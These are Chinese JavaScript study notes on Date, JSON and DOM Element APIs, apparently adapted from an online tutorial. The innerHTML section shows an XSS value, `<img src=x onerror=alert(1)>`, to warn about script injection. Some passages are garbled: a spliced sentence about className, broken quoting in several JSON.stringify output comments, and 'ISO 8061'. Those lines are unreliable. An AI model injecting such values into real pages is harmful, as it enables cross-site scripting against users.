如果转为字符串，则等于对应的日期字符串，所以，两个日期实例对象进行减法运算时，返回的是它们间隔的毫秒数；

进行加法运算时，返回的是两个字符串连接而成的新字符串。

### 静态方法

`Date.now` 方法返回当前时间距离时间零点（1970 年 1 月 1 日 00:00:00 UTC）的毫秒数，相当于 Unix 时间戳乘以 1000。

`Date.parse` 方法用来解析日期字符串，返回该时间距离时间零点（1970 年 1 月 1 日 00:00:00）的毫秒数。

日期字符串应该符合 RFC 2822 和 ISO 8061 这两个标准，即 `YYYY-MM-DDTHH:mm:ss.sssZ` 格式，其中最后的 `Z` 表示时区。但是，其他格式也可以被解析：

```js
Date.parse('Aug 9, 1995')
Date.parse('January 26, 2011 13:51:50')
Date.parse('Mon, 25 Dec 1995 13:30:00 GMT')
Date.parse('Mon, 25 Dec 1995 13:30:00 +0430')
Date.parse('2011-10-10')
Date.parse('2011-10-10T14:48:00')
```

如果解析失败，返回 `NaN`。

`Date.UTC` 方法接受年、月、日等变量作为参数，返回该时间距离时间零点（1970 年 1 月 1 日 00:00:00 UTC）的毫秒数。

```js
// 格式
Date.UTC(year, month[, date[, hrs[, min[, sec[, ms]]]]])

// 用法
Date.UTC(2011, 0, 1, 2, 3, 4, 567)
// 1293847384567
```

该方法的参数用法与 `Date` 构造函数完全一致，比如月从 `0` 开始计算，日期从 `1` 开始计算，区别在于 `Date.UTC` 方法的参数，会被解释为 UTC 时间（世界标准时间），`Date` 构造函数的参数会被解释为当前时区的时间。

### 实例方法

`valueOf` 方法返回实例对象距离时间零点（1970 年 1 月 1 日 00:00:00 UTC）对应的毫秒数，该方法等同于 `getTime` 方法。

```js
var d = new Date();

d.valueOf() // 1362790014817
d.getTime() // 1362790014817
```

`toString` 方法返回一个完整的日期字符串，因为 `toString` 是默认的调用方法，所以如果直接读取 `Date` 实例，就相当于调用这个方法。

`toUTCString` 方法返回对应的 UTC 时间，也就是比北京时间晚 8 个小时。

`toISOString` 方法返回对应时间的 ISO8601 写法，该方法返回的总是 UTC 时区的时间。

`toJSON` 方法返回一个符合 JSON 格式的 ISO 日期字符串，与 `toISOString` 方法的返回结果完全相同。

`toDateString` 方法返回日期字符串（不含小时、分和秒）。

`toTimeString` 方法返回时间字符串（不含年月日）。

`toLocaleString()`：完整的本地时间。

`toLocaleDateString()`：本地日期（不含小时、分和秒）。

`toLocaleTimeString()`：本地时间（不含年月日）。

`Date` 对象提供了一系列 `get*` 方法，用来获取实例对象某个方面的值。

* `getTime()`：返回实例距离 1970 年 1 月 1 日 00:00:00 的毫秒数，等同于 `valueOf` 方法。
* `getDate()`：返回实例对象对应每个月的几号（从 1 开始）。
* `getDay()`：返回星期几，星期日为 0，星期一为 1，以此类推。
* `getFullYear()`：返回四位的年份。
* `getMonth()`：返回月份（0 表示 1 月，11 表示 12 月）。
* `getHours()`：返回小时（0-23）。
* `getMilliseconds()`：返回毫秒（0-999）。
* `getMinutes()`：返回分钟（0-59）。
* `getSeconds()`：返回秒（0-59）。
* `getTimezoneOffset()`：返回当前时间与 UTC 的时区差异，以分钟表示，返回结果考虑到了夏令时因素。

## RegExp

[RegExp 对象（网道）](https://wangdoc.com/javascript/stdlib/regexp)

## JSON

JSON 格式（JavaScript Object Notation 的缩写）是一种用于数据交换的文本格式，2001 年由 Douglas Crockford 提出，目的是取代繁琐笨重的 XML 格式。

相比 XML 格式，JSON 格式有两个显著的优点：书写简单，一目了然；符合 JavaScript 原生语法，可以由解释引擎直接处理，不用另外添加解析代码。

所以，JSON 迅速被接受，已经成为各大网站交换数据的标准格式，并被写入标准。

每个 JSON 对象就是一个值，可能是一个数组或对象，也可能是一个原始类型的值。总之，只能是一个值，不能是两个或更多的值。

JSON 对值的类型和格式有严格的规定。

1. 复合类型的值只能是数组或对象，不能是函数、正则表达式对象、日期对象。
2. 原始类型的值只有四种：字符串、数值（必须以十进制表示）、布尔值和`null`（不能使用`NaN`, `Infinity`, `-Infinity`和`undefined`）。
3. 字符串必须使用双引号表示，不能使用单引号。
4. 对象的键名必须放在双引号里面。
5. 数组或对象最后一个成员的后面，不能加逗号。

以下都是合法的 JSON。

```js
["one", "two", "three"]

{ "one": 1, "two": 2, "three": 3 }

{"names": ["张三", "李四"] }

[ { "name": "张三"}, {"name": "李四"} ]
```

以下都是不合法的 JSON。

```js
{ name: "张三", 'age': 32 }  // 属性名必须使用双引号

[32, 64, 128, 0xFFF] // 不能使用十六进制值

{ "name": "张三", "age": undefined } // 不能使用 undefined

{ "name": "张三",
  "birthday": new Date('Fri, 26 Aug 2011 07:13:10 GMT'),
  "getName": function () {
      return this.name;
  }
} // 属性值不能使用函数和日期对象
```

**注意**：`null`、空数组和空对象都是合法的 JSON 值。

`JSON` 对象是 JavaScript 的原生对象，用来处理 JSON 格式数据，它有两个静态方法：`JSON.stringify()` 和 `JSON.parse()`。

`JSON.stringify()` 方法用于将一个值转为 JSON 字符串，该字符串符合 JSON 格式，并且可以被 `JSON.parse()` 方法还原。

**注意**：对于原始类型的字符串，转换结果会带双引号，如果对象的属性是 `undefined`、函数或 XML 对象，该属性会被 `JSON.stringify()` 过滤。

如果数组的成员是 `undefined`、函数或 XML 对象，则这些值被转成 `null`，正则对象会被转成空对象。

`JSON.stringify()` 方法会忽略对象的不可遍历的属性。

`JSON.stringify()` 方法还可以接受一个数组，作为第二个参数，指定参数对象的哪些属性需要转成字符串。

```js
var obj = {
  'prop1': 'value1',
  'prop2': 'value2',
  'prop3': 'value3'
};

var selectedProperties = ['prop1', 'prop2'];

JSON.stringify(obj, selectedProperties)
// "{" prop1 ":" value1 "," prop2 ":" value2 "}"
```

这个类似白名单的数组，只对对象的属性有效，对数组无效。

第二个参数还可以是一个函数，用来更改 `JSON.stringify()` 的返回值。

```js
function f(key, value) {
  if (typeof value === "number") {
    value = 2 * value;
  }
  return value;
}

JSON.stringify({ a: 1, b: 2 }, f)
// '{"a": 2, "b": 4}'
```

`f` 函数，接受两个参数，分别是被转换的对象的键名和键值。如果键值是数值，就将它乘以 `2`，否则就原样返回。

**注意**：这个处理函数是递归处理所有的键

```js
var obj = {a: {b: 1}};

function f(key, value) {
  console.log("["+ key +"]:" + value);
  return value;
}

JSON.stringify(obj, f)
// []:[object Object]
// [a]:[object Object]
// [b]:1
// '{"a":{"b": 1}}'
```

上面代码中，对象 `obj` 一共会被 `f` 函数处理三次，输出的最后那行是 `JSON.stringify()` 的默认输出。

第一次键名为空，键值是整个对象 `obj`；第二次键名为 `a`，键值是 `{b: 1}`；第三次键名为 `b`，键值为 1。

递归处理中，每一次处理的对象，都是前一次返回的值：

```js
var obj = {a: 1};

function f(key, value) {
  if (typeof value === 'object') {
    return {b: 2};
  }
  return value * 2;
}

JSON.stringify(obj, f)
// "{" b ": 4}"
```

上面代码中，`f` 函数修改了对象 `obj`，接着 `JSON.stringify()` 方法就递归处理修改后的对象 `obj`。

如果处理函数返回 `undefined` 或没有返回值，则该属性会被忽略。

```js
function f(key, value) {
  if (typeof(value) === "string") {
    return undefined;
  }
  return value;
}

JSON.stringify({ a: "abc", b: 123 }, f)
// '{"b": 123}'
```

上面代码中，`a` 属性经过处理后，返回 `undefined`，于是该属性被忽略了。

`JSON.stringify()` 还可以接受第三个参数，用于增加返回的 JSON 字符串的可读性。

默认返回的是单行字符串，对于大型的 JSON 对象，可读性非常差，第三个参数使得每个属性单独占据一行，并且将每个属性前面添加指定的前缀（不超过 10 个字符）。

```js
// 默认输出
JSON.stringify({ p1: 1, p2: 2 })
// JSON.stringify({ p1: 1, p2: 2 })

// 分行输出
JSON.stringify({ p1: 1, p2: 2 }, null, '\t')
// {
// 	"p1": 1,
// 	"p2": 2
// }
```

上面例子中，第三个属性 `\t` 在每个属性前面添加一个制表符，然后分行显示。

第三个属性如果是一个数字，则表示每个属性前面添加的空格（最多不超过 10 个）

如果参数对象有自定义的 `toJSON()` 方法，那么 `JSON.stringify()` 会使用这个方法的返回值作为参数，而忽略原对象的其他属性。

```js
var user = {
  firstName: '三',
  lastName: '张',

  get fullName(){
    return this.lastName + this.firstName;
  }
};

JSON.stringify(user)
// "{" firstName ":" 三 "," lastName ":" 张 "," fullName ":" 张三 "}"
```

```js
var user = {
  firstName: '三',
  lastName: '张',

  get fullName(){
    return this.lastName + this.firstName;
  },

  toJSON: function () {
    return {
      name: this.lastName + this.firstName
    };
  }
};

JSON.stringify(user)
// "{" name ":" 张三 "}"
```

`Date` 对象就有一个自己的 `toJSON()` 方法。

```js
var date = new Date('2015-01-01');
date.toJSON() // "2015-01-01T00:00:00.000Z"
JSON.stringify(date) // "" 2015-01-01T00:00:00.000Z ""
```

`toJSON()` 方法的一个应用是，将正则对象自动转为字符串，因为 `JSON.stringify()` 默认不能转换正则对象，但是设置了 `toJSON()` 方法以后，就可以转换正则对象了。

```js
var obj = {
  reg: /foo/
};

// 不设置 toJSON 方法时
JSON.stringify(obj) // "{" reg ":{}}"

// 设置 toJSON 方法时
RegExp.prototype.toJSON = RegExp.prototype.toString;
JSON.stringify(/foo/) // ""/foo/""
```

`JSON.parse()` 方法用于将 JSON 字符串转换成对应的值。

```js
JSON.parse('{}') // {}
JSON.parse('true') // true
JSON.parse('"foo"') // "foo"
JSON.parse('[1, 5, "false"]') // [1, 5, "false"]
JSON.parse('null') // null

var o = JSON.parse('{"name": "张三"}');
o.name // 张三
```

如果传入的字符串不是有效的 JSON 格式，`JSON.parse()`方法将报错。

```js
JSON.parse("'String'") // illegal single quotes
// SyntaxError: Unexpected token ILLEGAL
```

上面代码中，双引号字符串中是一个单引号字符串，因为单引号字符串不符合 JSON 格式，所以报错。

`JSON.parse()`方法可以接受一个处理函数，作为第二个参数，用法与`JSON.stringify()`方法类似。

```js
function f(key, value) {
  if (key === 'a') {
    return value + 10;
  }
  return value;
}

JSON.parse('{"a": 1, "b": 2}', f)
// {a: 11, b: 2}
```

`JSON.parse()`和`JSON.stringify()`可以结合使用，像下面这样写，实现对象的深拷贝。

```js
JSON.parse(JSON.stringify(obj))
```

上面这种写法，可以深度克隆一个对象，但是对象内部不能有 JSON 不允许的数据类型，比如函数、正则对象、日期对象等。

---

---
url: /skill/w3c060uv/index.md
---
# JS 回顾 7
## Element 节点

`Element` 节点对象对应网页的 HTML 元素。每一个 HTML 元素，在 DOM 树上都会转化成一个 `Element` 节点对象（以下简称元素节点）。

元素节点的 `nodeType` 属性都是 `1`。

```js
var p = document.querySelector('p');
p.nodeName // "P"
p.nodeType // 1
```

`Element` 对象继承了 `Node` 接口，因此 `Node` 的属性和方法在 `Element` 对象都存在。

此外，不同的 HTML 元素对应的元素节点是不一样的，浏览器使用不同的构造函数，生成不同的元素节点，比如 `<a>` 元素的构造函数是 `HTMLAnchorElement()`，`<button>` 是 `HTMLButtonElement()`。因此，元素节点不是一种对象，而是许多种对象，这些对象除了继承 `Element` 对象的属性和方法，还有各自独有的属性和方法。

### 实例属性

#### 元素特性的相关属性

##### `Element.id`

`Element.id` 属性返回指定元素的 `id` 属性，该属性可读写。

```js
// HTML 代码为 <p id="foo">
var p = document.querySelector('p');
p.id // "foo"
```

注意，`id` 属性的值是大小写敏感，即浏览器能正确识别 `<p id="foo">` 和 `<p id="FOO">` 这两个元素的 `id` 属性，但是最好不要这样命名。

##### `Element.tagName`

`Element.tagName` 属性返回指定元素的大写标签名，与 `nodeName` 属性的值相等。

```js
// HTML代码为
// <span id="myspan">Hello</span>
var span = document.getElementById('myspan');
span.id // "myspan"
span.tagName // "SPAN"
```

##### `Element.dir`

`Element.dir` 属性用于读写当前元素的文字方向，可能是从左到右（`"ltr"`），也可能是从右到左（`"rtl"`）。

##### `Element.accessKey`

`Element.accessKey` 属性用于读写分配给当前元素的快捷键。

```js
// HTML 代码如下
// <button accesskey="h" id="btn">点击</button>
var btn = document.getElementById('btn');
btn.accessKey // "h"
```

上面代码中，`btn` 元素的快捷键是 `h`，按下 `Alt + h` 就能将焦点转移到它上面。

##### `Element.draggable`

`Element.draggable` 属性返回一个布尔值，表示当前元素是否可拖动。该属性可读写。

##### `Element.lang`

`Element.lang` 属性返回当前元素的语言设置。该属性可读写。

```js
// HTML 代码如下
// <html lang="en">
document.documentElement.lang // "en"
```

##### `Element.tabIndex`

`Element.tabIndex` 属性返回一个整数，表示当前元素在 Tab 键遍历时的顺序。该属性可读写。

`tabIndex` 属性值如果是负值（通常是 `-1`），则 Tab 键不会遍历到该元素。如果是正整数，则按照顺序，从小到大遍历。如果两个元素的 `tabIndex` 属性的正整数值相同，则按照出现的顺序遍历。

遍历完所有 `tabIndex` 为正整数的元素以后，再遍历所有 `tabIndex` 等于 `0`、或者属性值是非法值、或者没有 `tabIndex` 属性的元素，顺序为它们在网页中出现的顺序。

##### `Element.title`

`Element.title` 属性用来读写当前元素的 HTML 属性 `title`，该属性通常用来指定，鼠标悬浮时弹出的文字提示框。

#### 元素状态的相关属性

##### `Element.hidden`

`Element.hidden` 属性返回一个布尔值，表示当前 HTML 元素的 `hidden` 属性的值。该属性可读写，用来控制当前元素是否可见。

注意，该属性与 CSS 设置是互相独立的。CSS 对当前元素可见性的设置，`Element.hidden` 并不能反映出来。也就是说，这个属性并不能用来判断当前元素的实际可见性。

CSS 设置的优先级高于 `Element.hidden`。如果 CSS 指定了该元素不可见（`display: none`）或可见（`visibility: visible`），那么 `Element.hidden` 并不能改变该元素实际的可见性。换言之，这个属性只在 CSS 没有明确设定当前元素的可见性时才有效。

##### `Element.contentEditable`

##### `Element.isContentEditable`

HTML 元素可以设置 `contentEditable` 属性，使得元素的内容可以编辑。

```html
<div contenteditable>123</div>
```

上面代码中，`<div>` 元素有 `contenteditable` 属性，因此用户可以在网页上编辑这个区块的内容。

`Element.contentEditable` 属性返回一个字符串，表示是否设置了 `contenteditable` 属性，有三种可能的值。该属性可写。

* `"true"`：元素内容可编辑
* `"false"`：元素内容不可编辑
* `"inherit"`：元素是否可编辑，继承了父元素的设置

`Element.isContentEditable` 属性返回一个布尔值，同样表示是否设置了 `contenteditable` 属性。该属性只读。

#### `Element.attributes`

`Element.attributes` 属性返回一个类似数组的对象，成员是当前元素节点的所有属性节点

```js
var p = document.querySelector('p');
var attrs = p.attributes;

for (var i = attrs.length - 1; i >= 0; i--) {
  console.log(attrs[i].name + '->' + attrs[i].value);
}
```

上面代码遍历 `p` 元素的所有属性。

#### `Element.className`

#### `Element.classList`

`className` 属性用来读写当前元素节点的 `class` 属性。它的值是一个字符串，每个 `class` 之间用空格分割。

`classList` 属性返回一个类似数组的对象，当前元素节点的每个 `class` 就是这个对象的一个成员。

```js
// HTML 代码 <div class="one two three" id="myDiv"></div>
var div = document.getElementById('myDiv');

div.className
// "one two three"

div.classList
// {
//   0: "one"
//   1: "two"
//   2: "three"
//   length: 3
// }
```

上面代码中，`className` 属性 `toggle` 方法可以接受一个布尔值，作为第二个参数。如果为 `true`，则添加该属性；如果为 `false`，则去除该属性。符串，而 `classList` 属性指向一个类似数组的对象，该对象的 `length` 属性（只读）返回当前元素的 `class` 数量。

`classList` 对象有下列方法。

* `add()`：增加一个 class。
* `remove()`：移除一个 class。
* `contains()`：检查当前元素是否包含某个 class。
* `toggle()`：将某个 class 移入或移出当前元素。
* `item()`：返回指定索引位置的 class。
* `toString()`：将 class 的列表转为字符串。

```js
var div = document.getElementById('myDiv');

div.classList.add('myCssClass');
div.classList.add('foo', 'bar');
div.classList.remove('myCssClass');
div.classList.toggle('myCssClass'); // 如果 myCssClass 不存在就加入，否则移除
div.classList.contains('myCssClass'); // 返回 true 或者 false
div.classList.item(0); // 返回第一个 Class
div.classList.toString();
```

下面比较一下，`className` 和 `classList` 在添加和删除某个 class 时的写法。

```js
var foo = document.getElementById('foo');

// 添加class
foo.className += 'bold';
foo.classList.add('bold');

// 删除class
foo.classList.remove('bold');
foo.className = foo.className.replace(/^bold$/, '');
```

`toggle` 方法可以接受一个布尔值，作为第二个参数。如果为 `true`，则添加该属性；如果为 `false`，则去除该属性。

```js
el.classList.toggle('abc', boolValue);

// 等同于
if (boolValue) {
  el.classList.add('abc');
} else {
  el.classList.remove('abc');
}
```

#### `Element.dataset`

网页元素可以自定义 `data-` 属性，用来添加数据。

```html
<div data-timestamp="1522907809292"></div>
```

上面代码中，`<div>` 元素有一个自定义的 `data-timestamp` 属性，用来为该元素添加一个时间戳。

`Element.dataset` 属性返回一个对象，可以从这个对象读写 `data-` 属性。

```js
// <article
//   id="foo"
//   data-columns="3"
//   data-index-number="12314"
//   data-parent="cars">
//   ...
// </article>
var article = document.getElementById('foo');
article.dataset.columns // "3"
article.dataset.indexNumber // "12314"
article.dataset.parent // "cars"
```

注意，`dataset` 上面的各个属性返回都是字符串。

HTML 代码中，`data-` 属性的属性名，只能包含英文字母、数字、连词线（`-`）、点（`.`）、冒号（`:`）和下划线（`_`）。它们转成 JavaScript 对应的 `dataset` 属性名，规则如下。

* 开头的 `data-` 会省略。
* 如果连词线后面跟了一个英文字母，那么连词线会取消，该字母变成大写。
* 其他字符不变。

因此，`data-abc-def` 对应 `dataset.abcDef`，`data-abc-1` 对应 `dataset["abc-1"]`。

除了使用 `dataset` 读写 `data-` 属性，也可以使用 `Element.getAttribute()` 和 `Element.setAttribute()`，通过完整的属性名读写这些属性。

```js
var mydiv = document.getElementById('mydiv');

mydiv.dataset.foo = 'bar';
mydiv.getAttribute('data-foo') // "bar"
```

#### `Element.innerHTML`

`Element.innerHTML` 属性返回一个字符串，等同于该元素包含的所有 HTML 代码。该属性可读写，常用来设置某个节点的内容。它能改写所有元素节点的内容，包括 `<HTML>` 和 `<body>` 元素。

如果将 `innerHTML` 属性设为空，等于删除所有它包含的所有节点。

```js
el.innerHTML = '';
```

上面代码等于将 `el` 节点变成了一个空节点，`el` 原来包含的节点被全部删除。

注意，读取属性值的时候，如果文本节点包含 `&`、小于号（`<`）和大于号（`>`），`innerHTML` 属性会将它们转为实体形式 `&`、`<`、`>`。如果想得到原文，建议使用 `element.textContent` 属性。

```js
// HTML代码如下 <p id="para"> 5 > 3 </p>
document.getElementById('para').innerHTML
// 5 &gt; 3
```

写入的时候，如果插入的文本包含 HTML 标签，会被解析成为节点对象插入 DOM。注意，如果文本之中含有 `<script>` 标签，虽然可以生成 `script` 节点，但是插入的代码不会执行。

```js
var name = "<script>alert('haha')</script>";
el.innerHTML = name;
```

上面代码将脚本插入内容，脚本并不会执行。但是，`innerHTML` 还是有安全风险的。

```js
var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name;
```

上面代码中，`alert` 方法是会执行的。因此为了安全考虑，如果插入的是文本，最好用 `textContent` 属性代替 `innerHTML`。

#### `Element.outerHTML`

`Element.outerHTML` 属性返回一个字符串，表示当前元素节点的所有 HTML 代码，**包括该元素本身和所有子元素**。

```js
// HTML 代码如下
// <div id="d"><p>Hello</p></div>
var d = document.getElementById('d');
d.outerHTML
// '<div id="d"><p>Hello</p></div>'
```

`outerHTML` 属性是可读写的，对它进行赋值，等于替换掉当前元素。

```js
// HTML 代码如下
// <div id="container"><div id="d">Hello</div></div>
var container = document.getElementById('container');
var d = document.getElementById('d');
container.firstChild.nodeName // "DIV"
d.nodeName // "DIV"

d.outerHTML = '<p>Hello</p>';
container.firstChild.nodeName // "P"
d.nodeName // "DIV"
```

上面代码中，变量 `d` 代表子节点，它的 `outerHTML` 属性重新赋值以后，内层的 `div` 元素就不存在了，被 `p` 元素替换了。**但是，变量 `d` 依然指向原来的 `div` 元素，这表示被替换的 `DIV` 元素还存在于内存中。**

注意，如果一个节点没有父节点，设置 `outerHTML` 属性会报错

```js
var div = document.createElement('div');
div.outerHTML = '<p>test</p>';
// DOMException: This element has no parent node.
```

上面代码中，`div` 元素没有父节点，设置 `outerHTML` 属性会报错。

#### `Element.clientHeight`

#### `Element.clientWidth`

`Element.clientHeight` 属性返回一个整数值，表示元素节点的 CSS 高度（单位像素），只对块级元素生效，对于行内元素返回 `0`。如果块级元素没有设置 CSS 高度，则返回实际高度。

除了元素本身的高度，它还包括 `padding` 部分，但是不包括 `border`、`margin`。如果有水平滚动条，还要减去水平滚动条的高度。注意，这个值始终是整数，如果是小数会被四舍五入。

`Element.clientWidth` 属性返回元素节点的 CSS 宽度，同样只对块级元素有效，也是只包括元素本身的宽度和 `padding`，如果有垂直滚动条，还要减去垂直滚动条的宽度。

`document.documentElement` 的 `clientHeight` 属性，返回当前视口的高度（即浏览器窗口的高度），等同于 `window.innerHeight` 属性减去水平滚动条的高度（如果有的话）。

`document.body` 的高度则是网页的实际高度。一般来说，`document.body.clientHeight` 大于 `document.documentElement.clientHeight`。

```js
// 视口高度
document.documentElement.clientHeight

// 网页总高度
document.body.clientHeight
```

#### `Element.clientLeft`

#### `Element.clientTop`

`Element.clientLeft` 属性等于元素节点左边框（left border）的宽度（单位像素），不包括左侧的 `padding` 和 `margin`。如果没有设置左边框，或者是行内元素（`display: inline`），该属性返回 `0`。该属性总是返回整数值，如果是小数，会四舍五入。

`Element.clientTop` 属性等于网页元素顶部边框的宽度（单位像素），其他特点都与 `clientLeft` 相同。

#### `Element.scrollHeight`

#### `Element.scrollWidth`

`Element.scrollHeight` 属性返回一个整数值（小数会四舍五入），表示当前元素的总高度（单位像素），包括溢出容器、当前不可见的部分。

它包括 `padding`，但是不包括 `border`、`margin` 以及水平滚动条的高度（如果有水平滚动条的话），还包括伪元素（`::before` 或 `::after`）的高度。

`Element.scrollWidth` 属性表示当前元素的总宽度（单位像素），其他地方都与 `scrollHeight` 属性类似。这两个属性只读。

整张网页的总高度可以从 `document.documentElement` 或 `document.body` 上读取。

```js
// 返回网页的总高度
document.documentElement.scrollHeight
document.body.scrollHeight
```

注意，如果元素节点的内容出现溢出，即使溢出的内容是隐藏的，`scrollHeight` 属性仍然返回元素的总高度。

```js
// HTML 代码如下
// <div id="myDiv" style="height: 200px; overflow: hidden;">...</div>
document.getElementById('myDiv').scrollHeight // 200
```

上面代码中，即使 `myDiv` 元素的 CSS 高度只有 200 像素，且溢出部分不可见，但是 `scrollHeight` 仍然会返回该元素的原始高度。

#### `Element.scrollLeft`

#### `Element.scrollTop`

`Element.scrollLeft` 属性表示当前元素的水平滚动条向右侧滚动的像素数量，`Element.scrollTop` 属性表示当前元素的垂直滚动条向下滚动的像素数量。对于那些没有滚动条的网页元素，这两个属性总是等于 0。

如果要查看整张网页的水平的和垂直的滚动距离，要从 `document.documentElement` 元素上读取。

```js
document.documentElement.scrollLeft
document.documentElement.scrollTop
```

这两个属性都 **可读写**，设置该属性的值，会导致浏览器将当前元素自动滚动到相应的位置。

#### `Element.offsetParent`

`Element.offsetParent` 属性返回最靠近当前元素的、并且 CSS 的 `position` 属性不等于 `static` 的上层元素。

```html
<div style="position: absolute;">
  <p>
    <span>Hello</span>
  </p>
</div>
```

上面代码中，`span` 元素的 `offsetParent` 属性就是 `div` 元素。

该属性主要用于确定子元素位置偏移的计算基准，`Element.offsetTop` 和 `Element.offsetLeft` 就是 `offsetParent` 元素计算的。

如果该元素是不可见的（`display` 属性为 `none`），或者位置是固定的（`position` 属性为 `fixed`），则 `offsetParent` 属性返回 `null`。

```html
<div style="position: absolute;">
  <p>
    <span style="display: none;">Hello</span>
  </p>
</div>
```

上面代码中，`span` 元素的 `offsetParent` 属性是 `null`。

如果某个元素的所有上层节点的 `position` 属性都是 `static`，则 `Element.offsetParent` 属性指向 `<body>` 元素。

#### `Element.offsetHeight`

#### `Element.offsetWidth`

`Element.offsetHeight` 属性返回一个整数，表示元素的 CSS 垂直高度（单位像素），包括元素本身的高度、padding 和 border，以及水平滚动条的高度（如果存在滚动条）。

`Element.offsetWidth` 属性表示元素的 CSS 水平宽度（单位像素），其他都与 `Element.offsetHeight` 一致。

这两个属性都是只读属性，只比 `Element.clientHeight` 和 `Element.clientWidth` 多了边框的高度或宽度。如果元素的 CSS 设为不可见（比如 `display: none;`），则返回 `0`。

#### `Element.offsetLeft`

#### `Element.offsetTop`

`Element.offsetLeft` 返回当前元素左上角相对于 `Element.offsetParent` 节点的水平位移，`Element.offsetTop` 返回垂直位移，单位为像素。通常，这两个值是指相对于父节点的位移。

下面的代码可以算出元素左上角相对于整张网页的坐标。

```js
function getElementPosition(e) {
  var x = 0;
  var y = 0;
  while (e !== null)  {
    x += e.offsetLeft;
    y += e.offsetTop;
    e = e.offsetParent;
  }
  return {x: x, y: y};
}
```

#### `Element.style`

每个元素节点都有 `style` 用来读写该元素的行内样式信息。

#### `Element.children`

#### `Element.childElementCount`

`Element.children` 属性返回一个类似数组的对象（`HTMLCollection` 实例），包括当前元素节点的所有子元素。如果当前元素没有子元素，则返回的对象包含零个成员。

```js
if (para.children.length) {
  var children = para.children;
    for (var i = 0; i < children.length; i++) {
      // ...
    }
}
```

上面代码遍历了 `para` 元素的所有子元素。

这个属性与 `Node.childNodes` 属性的区别是，它只包括元素类型的子节点，不包括其他类型的子节点。

`Element.childElementCount` 属性返回当前元素节点包含的子元素节点的个数，与 `Element.children.length` 的值相同。

#### `Element.firstElementChild`

#### `Element.lastElementChild`

`Element.firstElementChild`属性返回当前元素的第一个元素子节点，`Element.lastElementChild`返回最后一个元素子节点。

如果没有元素子节点，这两个属性返回`null`。

#### `Element.nextElementSibling`

#### `Element.previousElementSibling`

`Element.nextElementSibling`属性返回当前元素节点的后一个同级元素节点，如果没有则返回`null`。

```js
// HTML 代码如下
// <div id="div-01">Here is div-01</div>
// <div id="div-02">Here is div-02</div>
var el = document.getElementById('div-01');
el.nextElementSibling
// <div id="div-02">Here is div-02</div>
```

`Element.previousElementSibling`属性返回当前元素节点的前一个同级元素节点，如果没有则返回`null`。

### 实例方法

#### 属性相关方法

元素节点提供六个方法，用来操作属性。

* `getAttribute()`：读取某个属性的值
* `getAttributeNames()`：返回当前元素的所有属性名
* `setAttribute()`：写入属性值
* `hasAttribute()`：某个属性是否存在
* `hasAttributes()`：当前元素是否有属性
* `removeAttribute()`：删除属性

#### `Element.querySelector()`

`Element.querySelector`方法接受 CSS 选择器作为参数，返回父元素的第一个匹配的子元素。如果没有找到匹配的子元素，就返回`null`。

```js
var content = document.getElementById('content');
var el = content.querySelector('p');
```

上面代码返回`content`节点的第一个`p`元素。

`Element.querySelector`方法可以接受任何复杂的 CSS 选择器。

```js
document.body.querySelector("style[type='text/css'], style:not([type])");
```

注意，这个方法无法选中伪元素。

它可以接受多个选择器，它们之间使用逗号分隔。

```js
element.querySelector('div, p')
```

上面代码返回`element`的第一个`div`或`p`子元素。

需要注意的是，浏览器执行`querySelector`方法时，是先在全局范围内搜索给定的 CSS 选择器，然后过滤出哪些属于当前元素的子元素。因此，会有一些违反直觉的结果，下面是一段 HTML 代码。

```html
<div>
    <blockquote id="outer">
        <p>Hello</p>
        <div id="inner">
            <p>World</p>
        </div>
    </blockquote>
</div>
```

那么，像下面这样查询的话，实际上返回的是第一个`p`元素，而不是第二个。

```js
var outer = document.getElementById('outer');
outer.querySelector('div p')
// <p>Hello</p>
```

#### `Element.querySelectorAll()`

`Element.querySelectorAll`方法接受 CSS 选择器作为参数，返回一个`NodeList`实例，包含所有匹配的子元素。

```js
var el = document.querySelector('#test');
var matches = el.querySelectorAll('div.highlighted > p');
```

该方法的执行机制与`querySelector`方法相同，也是先在全局范围内查找，再过滤出当前元素的子元素。因此，选择器实际上针对整个文档的。

它也可以接受多个 CSS 选择器，它们之间使用逗号分隔。如果选择器里面有伪元素的选择器，则总是返回一个空的`NodeList`实例。

#### `Element.getElementsByClassName()`

`Element.getElementsByClassName`方法返回一个`HTMLCollection`实例，成员是当前元素节点的所有具有指定 class 的子元素节点。该方法与`document.getElementsByClassName`方法的用法类似，只是搜索范围不是整个文档，而是当前元素节点。

```js
element.getElementsByClassName('red test');
```

注意，该方法的参数大小写敏感。

由于`HTMLCollection`实例是一个活的集合，`document`对象的任何变化会立刻反应到实例，下面的代码不会生效。

```js
// HTML 代码如下
// <div id="example">
//   <p class="foo"></p>
//   <p class="foo"></p>
// </div>
var element = document.getElementById('example');
var matches = element.getElementsByClassName('foo');

for (var i = 0; i< matches.length; i++) {
  matches[i].classList.remove('foo');
  matches.item(i).classList.add('bar');
}
// 执行后，HTML 代码如下
// <div id="example">
//   <p></p>
//   <p class="foo bar"></p>
// </div>
```

上面代码中，`matches`集合的第一个成员，一旦被拿掉 class 里面的`foo`，就会立刻从`matches`里面消失，导致出现上面的结果。

#### `Element.getElementsByTagName()`

`Element.getElementsByTagName()`方法返回一个`HTMLCollection`实例，成员是当前节点的所有匹配指定标签名的子元素节点。该方法与`document.getElementsByClassName()`方法的用法类似，只是搜索范围不是整个文档，而是当前元素节点。

```js
var table = document.getElementById('forecast-table');
var cells = table.getElementsByTagName('td');
```

注意，该方法的参数是大小写不敏感的，因为 HTML 标签名也是大小写不敏感。

#### `Element.closest()`

`Element.closest`方法接受一个 CSS 选择器作为参数，返回匹配该选择器的、最接近当前节点的一个祖先节点（包括当前节点本身）。如果没有任何节点匹配 CSS 选择器，则返回`null`。

```js
// HTML 代码如下
// <article>
//   <div id="div-01">Here is div-01
//     <div id="div-02">Here is div-02
//       <div id="div-03">Here is div-03</div>
//     </div>
//   </div>
// </article>

var div03 = document.getElementById('div-03');

// div-03 最近的祖先节点
div03.closest("#div-02") // div-02
div03.closest("div div") // div-03
div03.closest("article > div") //div-01
div03.closest(":not(div)") // article
```

上面代码中，由于`closest`方法将当前节点也考虑在内，所以第二个`closest`方法返回`div-03`。

#### `Element.matches()`

`Element.matches`方法返回一个布尔值，表示当前元素是否匹配给定的 CSS 选择器。

```js
if (el.matches('.someClass')) {
  console.log('Match!');
}
```

#### 事件相关方法

以下三个方法与`Element`节点的事件相关。这些方法都继承自`EventTarget`接口。

* `Element.addEventListener()`：添加事件的回调函数
* `Element.removeEventListener()`：移除事件监听函数
* `Element.dispatchEvent()`：触发事件

```js
element.addEventListener('click', listener, false);
